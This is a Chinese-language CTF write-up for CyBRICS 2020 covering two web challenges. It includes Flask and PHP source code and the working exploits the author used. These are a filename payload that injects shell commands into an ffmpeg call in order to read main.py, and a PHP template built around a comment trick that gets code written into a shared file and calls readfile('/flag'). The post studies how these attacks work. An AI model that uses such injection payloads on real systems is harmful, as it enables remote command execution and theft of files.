美文网首页
CyBRICS-CTF 2020

CyBRICS-CTF 2020

作者: byc_404 | 来源:发表于2020-07-26 23:19 被阅读0次

Cybrics比赛感觉都没队友在打......简单记录下做的几道题

Hunt

签到不谈。


Gif2png

首先是源码审计.

import logging
import re
import subprocess
import uuid
from pathlib import Path

from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory
from flask_bootstrap import Bootstrap
import os
from werkzeug.utils import secure_filename
import filetype


ALLOWED_EXTENSIONS = {'gif'}

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['SECRET_KEY'] = '********************************'
app.config['MAX_CONTENT_LENGTH'] = 500 * 1024  # 500Kb
ffLaG = "cybrics{********************************}"
Bootstrap(app)
logging.getLogger().setLevel(logging.DEBUG)

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    logging.debug(request.headers)

    if request.method == 'POST':
        if 'file' not in request.files:
            logging.debug('No file part')
            flash('No file part', 'danger')
            return redirect(request.url)

        file = request.files['file']
        if file.filename == '':
            logging.debug('No selected file')
            flash('No selected file', 'danger')
            return redirect(request.url)

        if not allowed_file(file.filename):
            logging.debug(f'Invalid file extension of file: {file.filename}')
            flash('Invalid file extension', 'danger')
            return redirect(request.url)

        if file.content_type != "image/gif":
            logging.debug(f'Invalid Content type: {file.content_type}')
            flash('Content type is not "image/gif"', 'danger')
            return redirect(request.url)

        if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
            logging.debug(f'Invalid symbols in filename: {file.content_type}')
            flash('Invalid filename', 'danger')
            return redirect(request.url)

        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))

            mime_type = filetype.guess_mime(f'uploads/{file.filename}')
            if mime_type != "image/gif":
                logging.debug(f'Invalid Mime type: {mime_type}')
                flash('Mime type is not "image/gif"', 'danger')
                return redirect(request.url)

            uid = str(uuid.uuid4())
            os.mkdir(f"uploads/{uid}")

            logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"")

            command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)
            command.wait(timeout=15)
            logging.debug(command.stdout)

            flash('Successfully saved', 'success')
            return redirect(url_for('result', uid=uid))

    return render_template("form.html")


@app.route('/result/<uid>/')
def result(uid):
    images = []
    for image in os.listdir(f"uploads/{uid}"):
        mime_type = filetype.guess(str(Path("uploads") / uid / image))
        if image.endswith(".png") and mime_type is not None and mime_type.EXTENSION == "png":
            images.append(image)

    return render_template("result.html", uid=uid, images=images)


@app.route('/uploads/<uid>/<image>')
def image(uid, image):
    logging.debug(request.headers)
    dir = str(Path(app.config['UPLOAD_FOLDER']) / uid)
    print(dir)
    return send_from_directory(dir, image)


@app.errorhandler(413)
def request_entity_too_large(error):
    return "File is too large", 413


if __name__ == "__main__":
    app.run(host='localhost', port=5000, debug=False, threaded=True)

注意到执行ffmpeg有个变量拼接。我们的file.filename可控。不过需要经过前面几层检验。简单看可以发现一方面限制了
后缀(取最后一个. 后字符检测是否为gif)另外限制了可用字符。不过这些字符已经够用了。

首先我的思路是去找ffmpeg的可用flag.通过-h列出一些flag后。我注意到这样几个

-report             generate a report
-filter_script filename  read stream filtergraph description from a file
-metadata string=string  add metadata

这里我主要是寻找跟文件有关的选项。其中report会在当前目录生成一个log文件。filter_script可以读取一个文件内容作为stream filter. -metadata 可以添加一组键值。加入到输出的metadata中。

不过本地跑起来简单尝试下后。会发现因为我们不可用/字符。所以想要控制路径是做不到的。我们必须要让包含flag的信息输出到uploads的沙盒下。而注意到题目/uploads/{uid}/下的内容并没有像其他两个路由那样做文件类型检查。所以我们是可以直接访问的。

因此-report无法使用。因为它只能在当前目录生成报告。而-filter_script假如搭配-report倒是可以把读取文件内容时的错误信息输出到日志中。但是因为日志读不了所以也不可行。

于是我关注点就集中到了-metadata上。我们可以构造这样的命令闭合引号并且执行。

ffmpeg -i 'uploads/logo.gif' -metadata language=$(cat main.py| grep ffLaG |base64)  -metadata abc='.gif' "uploads/{uid}/%03d.png"

从输出结果上看是成功执行命令了的。但是本地测试发现一个问题。输出的png读不到其metadata属性。

简单的查阅了下文档以及谷歌后我推测应该是因为ffmpeg的metadata选项不支持png.不过文档里我发现视频文件是肯定可以修改增加metadata的。因此当我尝试将上面的命令改为输出成avi后。是可以通过exiftool读取到metadata中的language的。


那么我们现在只需要一个强迫转换输出类型的flag. 再次查文档发现了-f fmt force format
所以最终payload如下。我们只需在传好logo.gif后传gif文件并以如下作为文件名

logo.gif' -metadata language=$(cat main.py| grep ffLaG |base64) -f avi  -metadata abc='.gif

首先我们保证了结尾最后的.末尾是gif绕过后缀检查。之后执行命令时将会把main.py中的ffLaG变量值保存到输出的language metadata中。本地跑起来的话。会发现在沙盒下最终生成了名为%03d.png的avi类型文件。并且可以用exiftool获取到其metadata。

本地打通的话去远程打肯定就没问题了。这里打远程时稍微多发了几次包。最终获取到图片并得到flag


看着这个flag我高度怀疑自己不是预期做的......搞不好可以很简单解决掉。

ps:
佛了。不会就我去看ffmpeg的flags了吧......虽然做法很有趣但是未免太傻了......别人的payload:
'$(cp main.py uploads$(pwd | cut -c1)GENERATED_UID$(pwd | cut -c1))'.gif
wtcltcl。忘记用pwd拼接目录了。bash script都白写了。

woc

这道题目最主要的就是用代码混淆视线。所以关键在于一定要找到真正可以利用的漏洞代码。
首先注意到一个似乎可以利用的地方。在calc.php

<?php
if (!@$_SESSION['userid']) {
    redir(".");
} elseif (!@$_GET['template']) {
    redir(".");
}

$userid = $_SESSION['userid'];
$template = $_GET['template'];

if (!preg_match('#^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$#s', $template)) {
    redir(".");
}
if (!is_file("calcs/$userid/templates/$template.html")) {
    redir(".");
}

if (trim(@$_POST['field'])) {
    $field = trim($_POST['field']);
    
    if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
        $value = "BAD";
    } else {
        if (@$_POST['share']) {
            $calc = uuid();
            file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
            redir("?p=sharelink&calc=$calc");
        } else {
            try {
                $value = eval("return $field;");
            } catch (Throwable $e) {
                $value = null;
            }
            
            if (!is_numeric($value) && !is_string($value)) {
                $value = "ERROR";
            } else {
                $value = (string)$value;
            }
        }
    }
    
    echo "<script>var preloadValue = " . json_encode($value) . ";</script>";
}

require "inc/calclib.html";
require "calcs/$userid/templates/$template.html";

第一想法肯定是利用那个eval.不过这里字符实在是太限制了。我很快就发现根本无法构造出INF,NAN以外等等字符并取单。因此得尝试变化思路。

注意到题目功能。整体上提供了一个假注册登录功能用来记录session.同时允许我们上传新template.我们可以根据calc.php中所传template参数选择template。前往newtemplate.php。发现其限制了我们template的代码中不能含有<?且必须包含它要求的id标签。

<?php
if (!@$_SESSION['userid']) {
    redir(".");
}

$userid = $_SESSION['userid'];

$error = false;

if (trim(@$_POST['html'])) {
    do {
        $html = trim($_POST['html']);
        if (strpos($html, '<?') !== false) {
            $error = "Bad chars";
            break;
        }
        
        $requiredBlocks = [
            'id="back"',
            'id="field" name="field"',
            'id="digit0"',
            'id="digit1"',
            'id="digit2"',
            'id="digit3"',
            'id="digit4"',
            'id="digit5"',
            'id="digit6"',
            'id="digit7"',
            'id="digit8"',
            'id="digit9"',
            'id="plus"',
            'id="equals"',
        ];
        
        foreach ($requiredBlocks as $block) {
            if (strpos($html, $block) === false) {
                $error = "Missing required block: '$block'";
                break(2);
            }
        }
        
        $uuid = uuid();
        if (!file_put_contents("calcs/$userid/templates/$uuid.html", $html)) {
            $error = "Unexpected error! Contact orgs to fix. cybrics.net/rules#contacts";
            break;
        }
        
        redir(".");
    } while (false);
}
?>
      <div class="row">
        <div class="p-5 mx-auto col-10 col-md-10 bg-info">
<?php
if ($error) {
?>
          <div class="alert alert-danger" role="alert">
            <button type="button" class="close" data-dismiss="alert">×</button>
            <h4 class="alert-heading">Error</h4>
            <p class="mb-0"><?=htmlspecialchars($error)?></p>
          </div>
<?php
}
?>
          <h3 class="display-3">New template</h3>
          <div class="px-4 order-1 order-md-2 col-lg-12">
            <h2 class="mb-4">Insert code</h2>
            <form method="POST">
              <div class="form-group"> <textarea style="min-height: 100px; font-family: 'Fira Code', Consolas, monospace;" placeholder="HTML" class="form-control form-control-sm" name="html" oninput="this.style.height = ''; this.style.height = (this.scrollHeight + 10) +'px'"><?=htmlspecialchars(@$_POST['html'])?></textarea> </div> <button type="submit" class="btn btn-lg btn-outline-secondary mx-3 px-3"><i class="fa fa-plus-square fa-fw fa-1x py-1"></i> Create Template</button>
            </form>
          </div>
        </div>
      </div>

然后我们发现。calc.php如果不传递share参数的话。将只是简单的require我们的template.但是倘若传递share.则将进行一个拼接。

if (@$_POST['share']) {
    $calc = uuid();
    file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
    redir("?p=sharelink&calc=$calc");
}

我们的变量field与之后的inc/calclib.html,以及自己的template进行拼接。当内容作为file_put_contents的参数写进新的php文件时。<?=总是可用的(即作为echo 调用)那么我们只需要想办法解决掉中间拼接的文件inc/calclib.html即可。通过使用注释符将两者中间的html文件注释掉,并在template中写入恶意代码就能完成


本地模拟写入的文件。可以看到中间的部分被注释掉。我们只需注意正确闭合括号。
payload
html内容

<html>
<body>
<input type="text" class="part" id="field" name="field" />
<input type="button" class="part" id="digit0" data-append="0" />
<input type="button" class="part" id="digit1" data-append="1" />
<input type="button" class="part" id="digit2" data-append="2" />
<input type="button" class="part" id="digit3" data-append="3" />
<input type="button" class="part" id="digit4" data-append="4" />
<input type="button" class="part" id="digit5" data-append="5" />
<input type="button" class="part" id="digit6" data-append="6" />
<input type="button" class="part" id="digit7" data-append="7" />
<input type="button" class="part" id="digit8" data-append="8" />
<input type="button" class="part" id="digit9" data-append="9" />
<input type="button" class="part" id="plus" data-append=" + " />
<input type="button" class="part" id="minus" data-append=" - " />
<input type="button" class="part" id="times" data-append=" * " />
<input type="button" class="part" id="div" data-append=" / " />
<input type="button" class="part" id="point" data-append="." />
<input type="button" class="part" id="clear" />
<input type="button" class="part" id="back" value="← Back" />
<input type="submit" class="part" id="share" name="share" value="Share" />
<input type="submit" class="part" id="equals" />
*/readfile("/flag")));

之后来到calc.php传值field=/*&share=1即可在重定向后得到写入shell的地址。
远程getflag

相关文章

网友评论

      本文标题:CyBRICS-CTF 2020

      本文链接:https://www.haomeiwen.com/subject/hixwlktx.html